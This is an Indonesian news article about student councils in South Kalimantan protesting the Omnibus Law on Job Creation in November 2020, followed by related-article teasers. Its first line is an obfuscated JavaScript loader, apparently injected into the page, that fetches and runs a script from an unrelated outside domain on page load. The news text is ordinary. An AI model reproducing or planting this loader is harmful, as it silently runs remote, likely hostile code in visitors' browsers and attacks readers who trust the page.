(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Gelombang unjuk rasa penolakan Undang-Undang (UU) Omnibus Law Cipta Kerja yang sudah diteken Jokowi oleh mahasiswa di Kalimantan Selatan terus dilakukan.
Mahasiswa gabungan Badan Eksekutif Mahasiswa (BEM) se-Kalsel melakukan aksi penolakan UU Omnibus Law Cipta Kerja, Kamis (5/11/2020).
Setelah disahkan DPR RI kemudian resmi diteken oleh Presiden RI, Joko Widodo menjadi UU nomor 11 tahun 2020, BEM se Kalsel menyuarakan penolakan terhadap Omnibus Law UU Cipta Kerja.
Ketua BEM Universitas Lambung Mangkurat Ahdiat Zairullah kepada Kanalkalimantan.com dalam aksi turun ke jalan kali ini kembali menuntut penolakan UU Nomor 11 tahun 2020 Cipta Kerja yang ditandatangani Jokowi Senin (2/11/2020) lalu.
Mahasiswa gabungan Badan Eksekutif Mahasiswa (BEM) se-Kalsel melakukan aksi penolakan UU Omnibus Law Cipta Kerja, Kamis (5/11/2020). foto: putra
Sementara itu, Muhammad Padliansyah, Ketua BEM Uniska mengatakan, penolakan Omnibus Law Cipta Kerja yang sudah diteken dari Presiden RI adalah seruan aksi sidang rakyat menanti sikap pemerintah.
“Atas penetapan Undang-Undang yang sudah diteken oleh Presiden RI, secara tegas menyuarakan penolakan Omnibus Law Cipta Kerja, kami (mahasiswa) menanti sikap pemerintah,” jelasnya.
Pantauan Kanalkalimantan.com pukul 10.30 Wita, massa mahasiswa mulai memadati dengan duduk di depan bundaran BI berorasi kajian penolakan Omnibus Law Cipta Kerja.
Sejumlah mahasiswa juga membagikan selebaran kertas kepada masyarakat terkait hasil kajian yang dilakukan oleh BEM se Kalsel. Mahasiswa yang turun berdemo lebih dari 100, salah satu mahasiswa menyampaikan orasi di tengah aksi unjuk rasa.
Sekadar dicatat sejak Oktober lalu, aksi turun ke jalan digelar mahasiswa gabungan sudah dilakukan sebanyak empat kali.
Aksi pertama pada 8 Oktober lalu, kemudian berlanjut pada 15 Oktober dan dua demontrasi terakhir pada 20 Oktober dan 28 Oktober 2020 lalu. (kanalkalimantan.com/putra)
Reporter: putra
Editor: bie
Pemerintah Provinsi Kalimantan Barat secara resmi telah menetapkan besaran Upah Minimum Provinsi (UMP) dan Upah… Read More
Pemerintah Pusat telah merilis formula perhitungan UMP 2026 sejak 18 Desember 2025. Adapun tenggat waktu… Read More
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
Upah Minimum Provinsi (UMP) dan Upah Minimum Kabupaten/Kota (UMK) Kalimantan Selatan 2026 akhirnya secara resmi… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
This website uses cookies.